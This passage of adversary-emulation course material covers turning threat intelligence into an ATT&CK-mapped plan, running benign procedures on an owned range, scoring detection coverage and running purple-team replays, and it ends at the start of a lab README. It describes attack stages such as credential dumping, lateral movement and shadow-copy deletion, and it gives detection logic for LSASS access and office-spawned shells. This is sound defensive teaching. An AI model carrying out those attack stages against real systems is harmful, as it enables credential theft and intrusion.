Step 2 — Map procedures to ATT&CK. Each observed procedure becomes a (sub-)technique id with a
tactic. This is classify(tid) in Lab 01: id → {name, tactic, order, procedure, telemetry, detection}.
Step 3 — Order along the lifecycle. Group the techniques by tactic and sequence them by tactic
order so the plan reads as one campaign. This is build_plan (sort by (order, technique) and number
the steps). The plan is now a narrative, not a list.
Step 4 — Write a procedure per step. Exactly what will you run on the owned range? Not "do phishing" but "send the seeded pretext from owned infra to a seeded mailbox in the range." Procedures must be safe (synthetic/owned only), specific, and scoped.
Step 5 — Pair each step with telemetry + a detection idea. What does this behavior emit, and what should fire? This is the column that makes the plan a purple-team artifact. T1003 → "Sysmon EID 10 LSASS handle access" → "Credential Guard + LSASS PPL + alert on LSASS handle opens." Without this column the plan is just an attack script and fails this track's bar.
Step 6 — Define success criteria and stop conditions. Success is two things: the procedure ran
and you observed whether the detection fired (_success_criteria in Lab 01). Stop conditions
(from Phase 00's ROE) bound the run: data limits, blast-radius limits, time windows, and the
deconfliction contact. No step runs without a stop condition.
Step 7 — Score coverage and gaps. coverage_summary (techniques per tactic) and coverage_gaps
(lifecycle tactics the actor never exercises) produce the Navigator view: what this emulation tests
and what it leaves untested.
The whole workflow, as a pipeline:
CTI profile (actor + observed technique ids)
│ classify(tid) → technique + tactic + telemetry + detection
▼
ordered emulation plan ← build_plan (sort by lifecycle order, number steps)
│ + procedure per step
│ + telemetry + detection (the pairing)
│ + success criteria + stop conditions
▼
coverage_summary / coverage_gaps → ATT&CK Navigator layer (coverage + gaps)
▼
RUN on owned range → observe telemetry → score detection → purple-team replay (Chapter 11)
Engagement significance. This pipeline is the Phase 01 deliverable for Operation Cedar Lattice. Everything downstream executes Step "RUN" of this plan, host by host, and the report scores Step "score detection," technique by technique.
Misconception to kill now. "The CTI technique list is the plan." The list is Step 1. The plan is Steps 2–7. The work — and the value — is in the ordering, the procedures, the detection pairing, the success criteria, and the coverage scoring. That work is Lab 01.
Chapter 10: Emulation vs Simulation vs Pentest vs Red Team vs Vuln Scan
Zero background. These terms are used loosely in the market and precisely in a Mandiant engagement. Getting them right is a credibility marker in interviews and scoping calls.
| Activity | Question it answers | Driven by | Goal | Output |
|---|---|---|---|---|
| Vulnerability scan | what is broken? | a signature database | enumerate weaknesses | a list of CVEs/misconfigs |
| Penetration test | what can be exploited here? | the tester's skill, the scope | reach a goal via any path | exploited findings + remediation |
| Red team assessment | can the org detect & stop a goal-oriented intrusion? | an objective (e.g., "reach the ERP") | test detection & response holistically, often covertly | a detection/response gap narrative |
| Adversary emulation | would we stop this named actor? | CTI on a specific actor | reproduce that actor's TTPs faithfully | ATT&CK-mapped coverage + gap map |
| Adversary simulation | (often a synonym for emulation) | a representative threat profile | exercise defenses against typical TTPs | same shape, less actor-specific |
The key distinctions:
- Emulation vs pentest. A pentest hunts whatever is exploitable to reach a goal; it may use a zero-day the actor would never touch. Emulation deliberately constrains itself to the actor's tradecraft — even taking a harder path — because the point is to test the specific threat, not to find the easiest win. A pentest optimizes for "did we get in?"; emulation optimizes for "did the defender see the behaviors this actor uses?"
- Emulation vs simulation. Often used interchangeably. The careful distinction: emulation reproduces a specific named actor's procedures as faithfully as safe; simulation exercises a representative set of TTPs without claiming actor fidelity (e.g., an automated breach-and-attack- simulation tool firing a battery of Atomic tests). Emulation is higher-fidelity and intel-driven.
- Red team vs emulation. A red team assessment is the broad category (goal-oriented, tests detection/response, often covert). Adversary emulation is a methodology a red team uses — specifically, an intel-driven one anchored to a named actor. Mandiant red teams do emulation.
- All four vs a vuln scan. A scan finds potential weaknesses with no demonstrated impact and no test of detection. The others demonstrate and (the top three) test the defender's response.
Engagement significance. When Meridian asks "is this a pentest?", the correct answer is: "No — this is adversary emulation: we are reproducing FIN-LATTICE's specific tradecraft, driven by intelligence, to measure whether your detection and response would stop that actor, and to leave you durable detections." That sentence is the whole value proposition.
Misconception to kill now. "Red team / pentest / emulation are the same thing with fancier names." They differ in what drives the technique selection and what the output measures. Conflating them leads to scoping a pentest and calling it an emulation — and delivering a list of bugs where the client needed a detection-gap map.
Chapter 11: Threat-Informed Defense and Purple Teaming
Zero background. Threat-informed defense is the discipline of prioritizing your defenses by the behaviors of the adversaries you actually face, using ATT&CK as the common map. Instead of "harden everything" (impossible) or "buy the product the vendor pushes," you ask: which techniques do the actors targeting my sector use, and do I detect them? The answer drives investment.
Why it exists. Defense budgets are finite and the attack surface is infinite. Threat-informed defense is the answer to "where do I spend first?" — and adversary emulation is how you measure whether the spend worked. The two are a loop: emulate → find gaps → invest in detections → re-emulate.
Purple teaming — the loop made collaborative. Classic red/blue is adversarial and serial: red attacks covertly, blue tries to catch them, then a report lands weeks later. Purple teaming is collaborative and real-time: red and blue sit together. Red runs an ATT&CK technique; blue watches their tooling live; together they answer did the data source fire? did the rule alert? was it actioned? If not, they write the detection on the spot, red re-runs the technique, and they confirm it fires. The gap becomes a durable detection in hours, not weeks.
The purple-team loop, per technique:
1. red runs the technique on the owned range (from the emulation plan, Chapter 9)
2. blue observes their telemetry: did the EXPECTED data source produce the event?
├─ no → VISIBILITY GAP (the sensor isn't collecting it) → deploy/configure the sensor
└─ yes → did a detection FIRE?
├─ no → DETECTION GAP (no rule) → write the rule now
└─ yes → was it ACTIONED? → tune the response/playbook
3. write/tune the detection
4. red RE-RUNS the technique → confirm the detection fires (regression)
5. record the result on the ATT&CK Navigator layer (red→green) — a DURABLE artifact the client keeps
Under the hood — why this maps onto the labs. Lab 01's success_criteria is exactly the purple
question: did the procedure run AND was the expected telemetry observed, and did the detection fire?
Lab 02's earliest_break and reconstruct give the blue side the narrative: here is how far the
emulated actor got, and the earliest stage we should have stopped it. Together they are the inputs to
the purple replay.
Telemetry / detection — the three outcomes again. The purple loop is the only honest way to know which of the three states (DETECTED / VISIBLE-ONLY / BLIND, Chapter 5) you are really in. A Navigator layer colored from belief is fiction; one colored from a live purple run is evidence.
Engagement significance. The purple-team replay is the Phase 12 close of Operation Cedar Lattice and the reason the engagement creates lasting value: Meridian does not just learn it was breached in the exercise — it leaves with new, tested detections for FIN-LATTICE's techniques, written and regression-confirmed with its own team. That is the difference between "we got domain admin" and "you now detect the actor that targets you."
Misconception to kill now. "Purple teaming is just red and blue in the same room." The room is not the point — the per-technique detect-tune-rerun-confirm loop is. Without the loop, you have a demo, not a detection.
Lab Walkthrough Guidance
Tackle the labs in order; together they implement the two halves of the methodology — building the plan (Lab 01) and reading the resulting campaign (Lab 02).
Lab 01 — CTI-to-Emulation-Plan Builder. Implement in this order:
classify(tid)first — every other function calls it. Look the id up inCORPUS; fall back toUNKNOWNso an unmapped id never crashes the plan. Setorderfrom the tactic's index, orlen(TACTIC_ORDER)for unknown so it sorts last. (Chapter 4.)detection_for(tid)— a one-liner overclassify; it is the purple-team pairing for a step (Chapter 11).build_plan(actor_tids)— de-duplicate, classify, attachsuccess_criteria, sort by(order, technique), number the steps. This is the CTI→plan workflow (Chapter 9). Determinism comes from the total-order sort key.tactics_coveredandcoverage_summary— the Navigator coverage view (Chapter 5). Remember to dropunknownfromtactics_covered.coverage_gaps— the threat-informed-defense "what would we miss?" question (Chapters 5, 11). The reference frame isTACTIC_ORDER(or a caller-supplied subset); only count placeable tactics.
Lab 02 — Kill-Chain Campaign Reconstructor + Diamond Pivot. Implement in this order:
classify, thenreconstruct(sort by(order, timestamp, event_id); carry the Diamond features through) — the kill-chain ordering (Chapters 2, 3).tactics_reached,furthest_tactic("how far along?"),earliest_break("defend left" — the cheapest break point and its control). Notefurthest_tactic/earliest_breakignore unplaceable (unknown) techniques — you cannot claim a stage you cannot map (Chapter 2).pivot(events, on=...)— the Diamond Model move (Chapter 6): union-find over events sharing a non-Noneinfrastructureorcapability, returning clusters of size ≥ 2, sorted, deterministic. RaiseValueErroron an unsupported feature.
Run LAB_MODULE=solution pytest -q first to see the reference pass, then fill in lab.py and run
pytest -q.
Success Criteria
You understand this phase when you can, without notes:
- Recite the attacker lifecycle stage by stage and give, for each, the goal, a technique, the telemetry, and the break-the-chain control (Chapter 2).
- State what question each of the three lenses answers and use them together to narrate one intrusion (Chapters 3, 4, 6, 7).
- Read an ATT&CK id at all four levels (tactic / technique / sub-technique / procedure) and name the data source that observes it (Chapter 4).
- Explain coverage vs gaps and the three detection states (detected / visible-only / blind) on a Navigator layer (Chapter 5).
- Pivot a set of events in the Diamond Model and explain why shared infrastructure is evidence, not proof of a shared adversary (Chapter 6).
- Walk the CTI→emulation-plan workflow end to end and explain why each step exists (Chapter 9).
- Distinguish emulation / simulation / pentest / red team / vuln scan crisply (Chapter 10).
- Run a purple-team loop and explain how it turns a gap into a durable detection (Chapter 11).
- Pass both labs with your own implementation and explain why each design choice (ordering, determinism, unknown-handling, the detection pairing) is there.
Common Mistakes and OPSEC Failures
- A list is not a plan. Handing over the CTI technique list and calling it an emulation plan. The ordering, procedures, detection pairing, success criteria, and coverage are the work.
- Mapping to a tactic but not to telemetry/detection. ATT&CK without the data source is half the value and fails the detection-pairing bar (Chapters 4, 5).
- Defending right. Building the impact-stage detection while the cheap initial-access break point goes untested ("defend left", Chapters 2, 3).
- Bottom-of-pyramid detections. Recommending hash/IP blocklists as if they were durable wins (Chapter 8).
- Treating pivoting as attribution. Concluding "same adversary" from shared infrastructure (Chapter 6). Pivoting generates leads; attribution needs more.
- Calling a pentest an emulation. Selecting techniques by "what's exploitable" instead of "what this actor does" (Chapter 10).
- A purple session without the loop. Red and blue in a room but no per-technique detect-tune-rerun-confirm cycle (Chapter 11).
- OPSEC: running a procedure with no stop condition or deconfliction. Every step in the plan must carry the Phase 00 stop conditions and the deconfliction contact. If you cannot name the owner, scope, stop conditions, and deconfliction contact for a step, you do not run it.
- Reusing real infrastructure or data in fixtures. The labs and the plan are synthetic/owned only; a real C2 IP or real victim name in a fixture is a safety failure, not a detail.
Interview Q&A
Q1. Explain the Cyber Kill Chain, MITRE ATT&CK, and the Diamond Model — what does each answer and how do you use them together? The Cyber Kill Chain (Lockheed) models an intrusion as seven linear phases (recon → weaponization → delivery → exploitation → installation → C2 → actions on objectives). It answers "how far along is this intrusion, and where is the cheapest place to break it?" — its central lesson is "defend left": break an early phase and you prevent everything downstream. It is coarse but executive-legible. MITRE ATT&CK is a knowledge base of real adversary behaviors organized as tactics (goals) → techniques → sub-techniques → procedures. It answers "what specific behavior is this, what data source sees it, and can we detect it?" — it is the technique-level detail and the common language the kill chain lacks. The Diamond Model describes a single event as adversary/capability/infrastructure/ victim and answers "what else is connected to this?" via pivoting on shared infrastructure or capability — the engine of campaign correlation and attribution. They are complementary resolutions, not rivals: I use the kill chain for the narrative arc and "break early," ATT&CK for behavior-to-detection mapping, and the Diamond Model to link scattered events into one campaign. On a real engagement I narrate in the Mandiant lifecycle, map technical detail to ATT&CK, and frame the arc with the kill chain.
Q2. Walk me from CTI on a named actor to a runnable emulation plan. Seven steps. (1) Select the actor and gather CTI — chosen because the client faces it; the CTI is the actor's observed ATT&CK procedures plus its infra/tooling patterns. (2) Map procedures to ATT&CK — each becomes a (sub-)technique id with a tactic. (3) Order along the lifecycle — group by tactic, sequence by tactic order so the plan reads as one campaign. (4) Write a procedure per step — exactly what runs on the owned range, safe and scoped. (5) Pair each step with the telemetry it emits and a detection idea — the column that makes it a purple artifact, not an attack script. (6) Define success criteria and stop conditions — success = the procedure ran and we observed whether the detection fired; stop conditions come from the ROE. (7) Score coverage and gaps — techniques per tactic, and the lifecycle tactics this actor never exercises. That pipeline is exactly what my Lab 01 builder implements; the output is an ATT&CK Navigator layer plus an ordered, detection-paired plan.
Q3. Adversary emulation vs penetration test vs vulnerability scan? A vuln scan enumerates potential weaknesses from a signature database — no demonstrated impact, no test of detection. A pentest has a human exploit weaknesses to a goal via whatever path works, including techniques the real threat would never use — it answers "what can be exploited here?" and optimizes for getting in. Adversary emulation deliberately constrains itself to a named actor's tradecraft, driven by CTI, even taking a harder path — because the goal is to measure whether the client detects and stops that specific actor's behaviors and to leave durable detections. The pentest optimizes "did we get in"; emulation optimizes "did the defender see the behaviors this actor uses." A red team assessment is the broad goal-oriented category; emulation is the intel-driven methodology a Mandiant red team uses within it.
Q4. What is the Pyramid of Pain and how does it change which detections you prioritize? It ranks indicators by how much pain it costs the adversary to change them: hashes (trivial — recompile) → IPs (easy) → domains (simple) → host/network artifacts (annoying) → tools (challenging) → TTPs (tough). Most immature detection lives at the bottom (hashes/IPs) because they are easy to collect and share — and trivial for the actor to rotate. The lesson: detect higher. A behavioral analytic for the TTP of credential dumping catches every variant and forces the actor to redesign how it steals creds, which is expensive. So in an emulation I recommend investing in TTP-layer detections (which ATT&CK catalogs) for the actor's core behaviors — credential access, lateral movement, beaconing — rather than feeding the SOC another hash blocklist. I also weight Diamond pivots by pyramid level: a pivot on a shared TTP is a far stronger lead than one on an IP the actor rotates daily.
Q5. A SOC hands you 200 scattered alerts from one night. How do you reconstruct the campaign, decide
how far the actor got, and choose where to break the chain?
First I classify each alert to an ATT&CK technique and tactic, then reconstruct by ordering them
along the lifecycle (tactic order, then time) so the pile becomes one narrative — this is my Lab 02
reconstruct. The furthest tactic reached ("how far along?") is the deepest placeable stage; I
won't claim a stage I can't map. The earliest break point is the lowest-order stage observed and its
control — "defend left," because a control there prevents everything downstream and is the cheapest fix.
Then I pivot in the Diamond Model: take a strong indicator (a C2 IP) and find every other alert that
touched it, so I scope the whole intrusion, not just the alerts I happened to see — pivoting is
transitive, so one shared indicator can stitch a dozen alerts into one campaign. I'd caution that shared
infra is evidence, not proof of one adversary. The deliverable is the ordered narrative, the
furthest-reached stage, the earliest break point with its control, and the pivoted scope.
Q6. What is threat-informed defense, and how does a purple-team replay produce a durable detection? Threat-informed defense prioritizes defenses by the behaviors of the adversaries you actually face, using ATT&CK as the map — the answer to "where do I spend first?" when the attack surface is infinite. Emulation measures whether the spend worked; the two form a loop: emulate → find gaps → invest → re- emulate. A purple-team replay makes that loop collaborative and real-time: red runs a technique on the owned range while blue watches live; together they ask did the expected data source fire (no → visibility gap, deploy a sensor), did a rule alert (no → detection gap, write the rule now), was it actioned (no → tune the playbook). They write the detection on the spot, red re-runs the technique to confirm it fires (regression), and they record it on the Navigator layer red→green. The durability comes from that detect-tune-rerun-confirm loop and from aiming the detection at the TTP layer — the client leaves with tested detections for the actor that targets it, not a slide deck.
Q7. How does the Mandiant Attack Lifecycle differ from the Lockheed kill chain, and why does the loop matter? The Lockheed chain is linear — seven phases, traversed once. Mandiant's lifecycle adds an explicit inner loop: after establishing a foothold, the actor cycles escalate-privileges → internal-recon → move-laterally → maintain-presence repeatedly, ratcheting through the environment host by host until it reaches the objective. That matches real intrusions far better. The loop matters defensively because it gives the SOC many chances at the same detection — every iteration is another logon, another persistence artifact, another integrity-level change — so missing the first lateral move doesn't mean losing; you can catch the third. It is also why dwell time is the headline metric: the longer the actor loops undetected, the deeper it gets. In a briefing I narrate in the Mandiant lifecycle (the client's house language), map the detail to ATT&CK, and use the kill chain for the executive arc.
Q8. Why does every step of your emulation plan ship a detection, and what makes a coverage map honest? Because the deliverable is a detection-and-response assessment, not a trophy. An ATT&CK mapping without the data source and a detection idea is half-finished — it tells the client a behavior happened but not how they'd have seen it. Pairing each step with the telemetry it emits and a detection turns the plan into a purple-team artifact and makes the offensive knowledge a defensible asset, which is the whole ethos of this work. A coverage map is honest only when it distinguishes three states: detected (data source collected and a rule fires), visible-only (collected but no rule — a detection gap, costs a rule), and blind (not even collected — a visibility gap, costs a sensor). Reporting "no coverage" without that distinction gives the client a worse, more expensive remediation than necessary — and a map colored from belief rather than a live purple run is fiction.
References
Primary sources — read the originals, not summaries.
- MITRE ATT&CK — the Enterprise matrix, technique pages (tactic, data sources, detection,
mitigations, procedure examples), and the STIX 2.1 bundle.
attack.mitre.org. - ATT&CK Navigator — the layer tool and its JSON layer format.
mitre-attack.github.io/attack-navigator. - Center for Threat-Informed Defense (CTID) — the Adversary Emulation Library (per-actor emulation plans), the Top ATT&CK Techniques methodology, and ATT&CK Flow.
- Atomic Red Team (Red Canary) — small, ATT&CK-mapped, runnable tests; the model for per-technique procedures.
- Hutchins, Cloppert, Amin (Lockheed Martin) — Intelligence-Driven Computer Network Defense Informed by Analysis of Adversary Campaigns and Intrusion Kill Chains (the Cyber Kill Chain paper, 2011).
- Caltagirone, Pendergast, Betz — The Diamond Model of Intrusion Analysis (2013).
- Mandiant — M-Trends annual reports and the Mandiant Attack Lifecycle (dwell-time metrics, the inner loop).
- David Bianco — The Pyramid of Pain (2013/2014).
- MITRE D3FEND — the defensive technique counterpart of ATT&CK (the mitigation/detection mapping).
- Vest & Tubberville — Red Team Development and Operations (engagement methodology, ROE, reporting).
- VECTR / Scythe purple-team material — the per-technique detect-tune-rerun-confirm loop and coverage tracking.
The Hitchhiker's Guide to Running an Adversary-Emulation Plan on the Range
The operator's walkthrough for Phase 01. The WARMUP explains the concepts (the lifecycle, the three lenses, ATT&CK, the Pyramid of Pain, the CTI→plan workflow, purple teaming). This guide shows you how to build and run an emulation plan on your own authorized range: pick a named actor from CTI, select ATT&CK techniques, write procedures with success criteria and stop conditions, run Atomic-Red-Team-style tests against the OWNED range, observe the telemetry, score detection coverage, and run the purple-team replay. Then tear it down.
Authorization is the whole job. Everything here happens on the owned range from the README range diagram, under the Phase 00 Rules of Engagement, with stop conditions and a deconfliction contact named before any technique runs. If you cannot name the owner, scope, stop conditions, and deconfliction contact for a step, you do not run it. Nothing in this guide is a live target, a payload, or a weapon — the labs themselves reason over synthetic metadata only.
0. The loop you are about to run
pick actor (CTI) → select ATT&CK techniques → write procedures + success criteria + stop conditions
│ │
▼ ▼
build the plan (Lab 01) ───────────────────────────────► RUN on the OWNED range (Atomic-style)
│ │
▼ ▼
observe telemetry → score detection coverage → PURPLE-TEAM REPLAY (detect-tune-rerun-confirm)
│ │
▼ ▼
reconstruct the campaign (Lab 02) → evidence packet → TEARDOWN
This is one pass of threat-informed defense: emulate FIN-LATTICE, find the gaps in Meridian's detections, write the missing detections, confirm they fire, and leave them behind.
1. Stand up the authorized range
Use the isolated range from the README. The minimum for this phase:
| Range zone | Hosts | Role in this phase |
|---|---|---|
| operator | a Linux box you own | runs the emulation plan / Atomic-style tests |
| victim | one Windows host (+ optional DC), one Linux host | where procedures execute; owned, snapshot-first |
| detection | a SIEM (Wazuh/Elastic) with Sysmon + ETW + Zeek/Suricata | collects telemetry; where you score coverage and write detections |
Hard preconditions (Phase 00):
- The range is isolated — no bridge to home, corporate, or public networks.
- Snapshot every victim host before the run; you will revert after.
- No real credentials, customer data, or personal data in any fixture, capture, or screenshot.
- The deconfliction contact and stop conditions are written into the run sheet before step 1.
- Egress is deny-by-default; the only "C2" is your owned framework to an owned host.
Verify telemetry is actually flowing before you attack (you cannot score coverage on a sensor that is not collecting):
operator → run a benign marker (e.g., `whoami` in a new shell on the victim)
detection → confirm Sysmon EID 1 (process create) for that shell arrived in the SIEM
If the marker does not show up, fix collection first. A blind sensor produces a false "gap."
2. Pick the actor and pull the CTI
For Operation Cedar Lattice the actor is FIN-LATTICE, a financially-motivated intrusion set. Pull its profile the way you would in a real engagement:
- the actor's ATT&CK Group page (its documented techniques),
- a CTID Adversary Emulation Plan if one exists for a comparable group,
- vendor intel and M-Trends for sector relevance,
- map each documented procedure up to a technique id (WARMUP Chapter 4).
FIN-LATTICE's profile for this run:
T1566 Phishing (initial-access)
T1059 Command and Scripting Interp. (execution)
T1003 OS Credential Dumping (credential-access)
T1021 Remote Services (lateral-movement)
T1071 Application Layer Protocol C2 (command-and-control)
T1486 Data Encrypted for Impact (impact)
That flat list is not the plan — it is the input to Lab 01.
3. Build the plan (Lab 01)
Feed the profile to the builder. The builder orders the techniques along the lifecycle, attaches a procedure stub + the telemetry each emits + a detection idea + success criteria, and computes coverage and gaps.
cd lab-01-emulation-plan-builder
LAB_MODULE=solution python3 -c "
import solution as s
for step in s.build_plan(['T1486','T1566','T1021','T1059','T1071','T1003']):
print(step['step'], step['tactic'], step['technique'], '-', step['name'])
print('coverage:', s.coverage_summary(['T1566','T1059','T1003','T1021','T1071','T1486']))
print('gaps:', s.coverage_gaps(['T1566','T1059','T1003','T1021','T1071','T1486']))
"
Expected (deterministic, ordered along the lifecycle):
1 initial-access T1566 - Phishing
2 execution T1059 - Command and Scripting Interpreter
3 credential-access T1003 - OS Credential Dumping
4 lateral-movement T1021 - Remote Services
5 command-and-control T1071 - Application Layer Protocol
6 impact T1486 - Data Encrypted for Impact
coverage: {'initial-access': 1, 'execution': 1, 'credential-access': 1, 'lateral-movement': 1, 'command-and-control': 1, 'impact': 1}
gaps: ('reconnaissance', 'resource-development', 'persistence', 'privilege-escalation', 'defense-evasion', 'discovery', 'collection', 'exfiltration')
Read the gaps line as a finding, not noise. It says: an emulation of FIN-LATTICE alone never tests Meridian's discovery, persistence, or exfiltration detections. That is a blind spot in your assessment (distinct from a blind spot in the defense) — and naming it is the staff-level move (WARMUP Chapter 5).
4. Turn each step into a run sheet entry
For every plan step, before you run anything, write down:
| Field | Example (step 3, T1003) |
|---|---|
| Procedure | run the documented credential-access check against the owned host's marker store |
| Owned target | VICTIM-WIN-01 (snapshotted) |
| Telemetry expected | Sysmon EID 10 — a handle opened to lsass.exe with suspicious access |
| Detection idea | Credential Guard; LSASS PPL; alert on LSASS handle opens |
| Success criteria | procedure executes AND EID 10 observed; record detected / gap |
| Stop condition | one host only; read-only marker store; abort on any prod-adjacent signal; revert on completion |
| Deconfliction | named SOC contact + run window; ping before and after |
This is the run sheet. No step runs without all seven fields filled.
5. Run the procedures — Atomic-Red-Team style, on the OWNED range
You execute each technique as a small, scoped, ATT&CK-mapped test against your owned victim host — the Atomic Red Team model. The point is to emit the behavior the sensor sees, not to cause harm:
- T1566 Phishing — deliver a seeded benign pretext from owned infra to a seeded mailbox in the range. (No live recipients, ever.)
- T1059 Execution — run a benign loader-shaped command in a new shell on the victim.
- T1003 Credential Access — run the documented check against a marker credential store (synthetic), so EID 10 fires without touching real secrets.
- T1021 Lateral Movement — authenticate from the operator host to a second owned victim over an authorized admin protocol, producing a type-3 logon.
- T1071 C2 — beacon from your owned C2 framework to an owned host over its documented profile.
- T1486 Impact — model the impact stage with a benign marker (rename a canary file, delete a test shadow copy) — never real encryption, never real data.
After each, ping the deconfliction contact ("step N complete"). Snapshot/revert between destructive- shaped steps.
6. Observe the telemetry
For each step, go to the detection range and confirm the expected data source actually produced the event:
| Step | Expected event | Where to look |
|---|---|---|
| T1566 | mail-gateway message metadata; mail-client child process | gateway logs; Sysmon EID 1 |
| T1059 | process-create + command line | Sysmon EID 1; PowerShell 4104 |
| T1003 | handle to lsass.exe | Sysmon EID 10 |
| T1021 | logon type 3; SMB/RDP/WinRM flow | EID 4624; Zeek conn log |
| T1071 | beacon periodicity; TLS fingerprint | proxy/DNS logs; Zeek/Suricata; JA3/JA4 |
| T1486 | mass file-rename; VSS deletion | Sysmon EID 11/23; EID 524 |
Record one of three outcomes per step (WARMUP Chapter 5):
DETECTED data source present AND a rule fired
VISIBLE-ONLY data source present, NO rule fired → detection gap (costs a rule)
BLIND data source NOT present → visibility gap (costs a sensor)
7. Score detection coverage
Build the coverage scorecard from the per-step outcomes. The simplest honest artifact is the ATT&CK Navigator layer colored by outcome:
T1566 DETECTED (gateway flagged the pretext) green
T1059 VISIBLE-ONLY (EID 1 present, no analytic) yellow → detection gap
T1003 DETECTED (LSASS-handle rule fired) green
T1021 VISIBLE-ONLY (logon present, no lateral analytic) yellow → detection gap
T1071 BLIND (no egress/proxy logging on that VLAN) red → visibility gap
T1486 DETECTED (VSS-delete rule fired) green
This scorecard is the Phase 01 portfolio artifact (alongside the plan). It is evidence, not belief — because it came from a live run, not a guess (WARMUP Chapters 5, 11).
8. Reconstruct the campaign (Lab 02)
Feed the observed events — scattered and out of order, as the SOC really sees them — to the reconstructor to produce the campaign narrative, the furthest stage reached, the earliest break point, and the Diamond pivot.
cd ../lab-02-killchain-campaign-reconstructor
LAB_MODULE=solution python3 -c "
import solution as s
evs = [
s.Event('e5',500,'T1486',infrastructure='203.0.113.7',capability='LatticeCrypt'),
s.Event('e1',100,'T1566',infrastructure='mail.evil.test',capability='LatticeLoader'),
s.Event('e3',300,'T1021',capability='LatticeLoader'),
s.Event('e2',200,'T1059'),
s.Event('e4',400,'T1071',infrastructure='203.0.113.7'),
]
print('order:', [r['event_id'] for r in s.reconstruct(evs)])
print('furthest:', s.furthest_tactic(evs))
print('earliest break:', s.earliest_break(evs))
print('pivot on infra:', s.pivot(evs, on='infrastructure'))
print('pivot on capability:', s.pivot(evs, on='capability'))
"
Expected:
order: ['e1', 'e2', 'e3', 'e4', 'e5']
furthest: impact
earliest break: {'tactic': 'initial-access', 'technique': 'T1566', 'break_control': 'phishing-resistant MFA; SPF/DKIM/DMARC; user reporting'}
pivot on infra: (('e4', 'e5'),)
pivot on capability: (('e1', 'e3'),)
Read it as the report does: the actor reached impact; the cheapest place to have stopped it was
initial-access (phishing-resistant MFA — "defend left"); and the Diamond pivot links the C2 event
to the impact event (shared C2 203.0.113.7) and the phish to the lateral move (shared
LatticeLoader), so the SOC should have connected those alerts into one campaign.
9. The purple-team replay
Now collapse the gaps. Sit red and blue together and run the per-technique loop (WARMUP Chapter 11) for every VISIBLE-ONLY and BLIND outcome from §7:
for each gap technique:
1. red re-runs the Atomic-style test on the owned range
2. blue watches their tooling live
3. BLIND → deploy/configure the sensor, then go to (1)
VISIBLE-ONLY → write the detection rule now (Sigma-style)
4. red RE-RUNS the technique → confirm the rule fires (regression)
5. flip the Navigator cell yellow/red → green; record the rule id
Example for T1059 (visible-only → detection):
detection: process_creation where parent in (winword.exe, outlook.exe)
and child in (powershell.exe, cmd.exe, wscript.exe)
red re-runs T1059 from a doc-shaped parent → rule fires → cell goes green → KEEP this rule
The durable output is the set of new, regression-confirmed detections the client keeps — the difference between "we got domain admin" and "you now detect FIN-LATTICE's techniques."
10. Evidence packet and teardown
Evidence packet (the sanitized, public-safe portfolio artifact):
- the emulation plan (Lab 01 output): ordered steps, procedures, telemetry, detections, success criteria, stop conditions;
- the ATT&CK Navigator layer: coverage + the gap map (§3) and the post-replay colored scorecard (§7);
- the campaign reconstruction (Lab 02 output): order, furthest stage, earliest break, Diamond pivot;
- the new detections written in the purple replay (§9), with their regression results;
- a short narrative mapping the run to the Mandiant lifecycle for the executive briefing.
Hash every artifact at collection; record source, time, collector, timezone, and any transformation. Never include real targets, credentials, personal data, or any C2/payload artifact.
Teardown:
1. revert every victim host to its pre-run snapshot
2. tear down the owned C2 and phishing infra in the range
3. confirm deny-by-default egress is restored
4. ping the deconfliction contact: engagement window closed
5. archive the evidence packet to the isolated management network only
11. Expected observations (so you know it worked)
- The plan comes back ordered along the lifecycle and deterministic — same input, same plan.
- Every step ships a procedure, telemetry, a detection, and a success criterion (the pairing).
- The gap line correctly lists the tactics FIN-LATTICE never exercises (recon, persistence, privesc, defense-evasion, discovery, collection, exfiltration, resource-development).
- The campaign reconstructs to
e1..e5; furthest = impact; earliest break = initial-access / T1566; the Diamond pivot links the two C2/impact events and the two loader events. - Each technique you ran produced its expected data source in the SIEM (or you found and fixed the visibility gap first).
- After the purple replay, every VISIBLE-ONLY cell that you wrote a rule for flips to DETECTED on re-run — the regression proves the detection is real.
12. Common false claims (and the truthful version)
| False claim | Why it's wrong | Truthful version |
|---|---|---|
| "We emulated FIN-LATTICE." (ran a grab-bag of tests) | emulation is actor-driven, ordered, intel-mapped | "We ran the actor's documented TTPs in lifecycle order, mapped to ATT&CK." |
| "We have coverage of T1003 — it's green." (never ran it) | belief is not evidence | "On a live run the LSASS-handle rule fired; here is the SIEM event." |
| "No coverage of T1071." (sensor wasn't collecting) | that's a visibility gap, not a detection gap | "T1071 was BLIND — no egress logging on that VLAN; deploy the sensor, then re-test." |
| "Shared C2 proves it's the same actor." | pivoting is evidence, not proof | "These events pivot on shared infra 203.0.113.7; that links them; attribution needs more." |
| "We blocked the malware hash, so we're protected." | bottom of the Pyramid of Pain — trivial to change | "We added a behavioral detection for the technique; the actor can't evade it by recompiling." |
| "The purple session is done — we were all in the room." | the loop is the point, not the room | "For each gap we wrote a rule and re-ran the technique until it fired (regression-confirmed)." |
| "We reached impact, so the engagement succeeded." | reaching impact is table stakes | "We reached impact and identified the earliest break point and left tested detections." |
If you can run this loop end to end on your own range — pick the actor, build the plan, run it safely, score honest coverage, reconstruct the campaign, and walk away with regression-confirmed detections — you have done the core of what Operation Cedar Lattice asks of Phase 01, and the core of what a Mandiant red team consultant does on a real adversary-emulation engagement.
Lab 01 — CTI-to-Emulation-Plan Builder
Lenses: MITRE ATT&CK (tactics → techniques → procedures) + threat-informed defense. WARMUP: Chapters 3–6, 9, 11. Engagement tie-in: this is the Phase 01 deliverable for Operation Cedar Lattice — turning CTI on FIN-LATTICE into the ATT&CK-mapped emulation plan the rest of the engagement executes.
The problem
Adversary emulation does not start with a tool — it starts with threat intelligence. A CTI analyst gives the red team a flat, unordered fact: "FIN-LATTICE has been observed using techniques T1566, T1059, T1003, T1021, T1071, T1486." That list is not a plan. A plan is ordered along the attacker lifecycle, grouped by ATT&CK tactic, and — the part that separates a red team from a pentest — detection-paired: every step ships the telemetry the behavior emits and the detection that should fire on it, plus an explicit success criterion. That is what makes the artifact a purple-team plan the client keeps, not a throwaway attack script.
This lab turns the CTI profile into that plan and answers two analyst questions ATT&CK Navigator is built to answer: which tactics does this actor exercise (coverage)? and which tactics would we NOT test if we only emulate this actor (gaps)?
What you build (lab.py)
